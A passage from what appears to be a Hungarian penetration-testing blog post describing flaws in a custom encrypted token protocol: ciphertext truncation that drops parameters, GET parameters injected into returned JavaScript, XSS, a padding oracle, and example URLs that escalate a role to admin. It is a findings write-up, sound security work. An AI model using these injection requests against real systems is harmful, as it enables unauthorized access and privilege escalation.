2. Ki lehet találni, hogy milyen sorrendben vannak az enkriptált URL-szerű paraméterláncban a paraméterek. Ez konstans, és ugye a saltolás sem segít rajta.
3. Ha a payload végéről törölni kezdek, előbb-utóbb eljutok oda, hogy egész paramétereket törlök ki a paraméterláncból. A logika megpusztul, és a hibaüzenetben és a visszajövő javascriptben pontosan látszik, melyik paramétereket haraptam le a plain-text üzenet végéről, tehát ezek a paraméterek hiányozni fognak a javascriptből, ami felépíti a flash-t.

Hogy a móka még jobb legyen, a fejlesztők elkövettek egy óriási bakit is a protokoll implentációja során: ha hozzácsapok egy plain-text GET paramétert az eredeti HTTP-kéréshez, akkor a logika annak rendje és módja szerint belecsapja a javascriptben érkező paraméterek közé. Ezt egyrészt ki lehet használni otromba XSS-re, de sokkal fincsibb, ha kombinálva az előző kiharapós issue-val, tetszés szerinti értékekre lehet beállítani pl. a role értékét burp nélkül is.

Például:

https://S3OSP/setToken?header=881308337531&payload=<base64-enkódolt katyvasz>&lofasz=lofasz2

Ami meg visszajön:

function createSWF(){
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" [...]>
[...]
var username = [username];
var fromtime = [epoch];
var totime = [epoch];
var role = [role];
var lofasz = lofasz2;
[...]
</object>
}

A kihasználása egyértelmű: kitöröljük annyira a payloadot, hogy semmilyen paraméter ne legyen benne (csak a salt, mert azt ellenőrzi a logika), és hibátlanul dekriptálódjon. Hozzácsapva GET paraméterekként a csokit:

https://S3OSP/setToken?header=881308337531&payload=<base64-enkódolt katyvasz, levágva a végét>&username=bela&role=admin&[...]

Tehát mit értünk el?

1. A protokoll elméleti analízise során megállapított gyengeségek sajnos a valóságban is kihasználhatóak. A támadó szabadon tudja módosítani az enkriptált üzenetet, és a feldolgozó logika nem veszi észre, ugyanis nincs üzenethitelesítés.
2. A protokoll megkerülésére, és privilege escalationre két módot is találtunk (egyrészt a javascriptben átírva a vonatkozó részeket röptében, másrészt a GET-paraméterek hozzácsapásával).
3. Kriptográfiai támadást is tudunk indítani sikerrel (ugye a Padding Oracle), a protokoll elméleti hiányosságai és a bőbeszédű hibaüzenetek miatt.

És így a végére a slusszpoén: sem a protokollon, sem az implementáción nem változtatnak élesbe állítás előtt. Ez az az eset, amikor a kedvesügyfél házhoz megy a pofonjáért...

You must unlearn what you have learned

"For purposes of the CISSP exam, SSL resides in the transport layer."

- a Shon Harris-féle Újszövetség, 425.oldal

A protokoll-enkapszuláció elvét meg köszöntem szépen.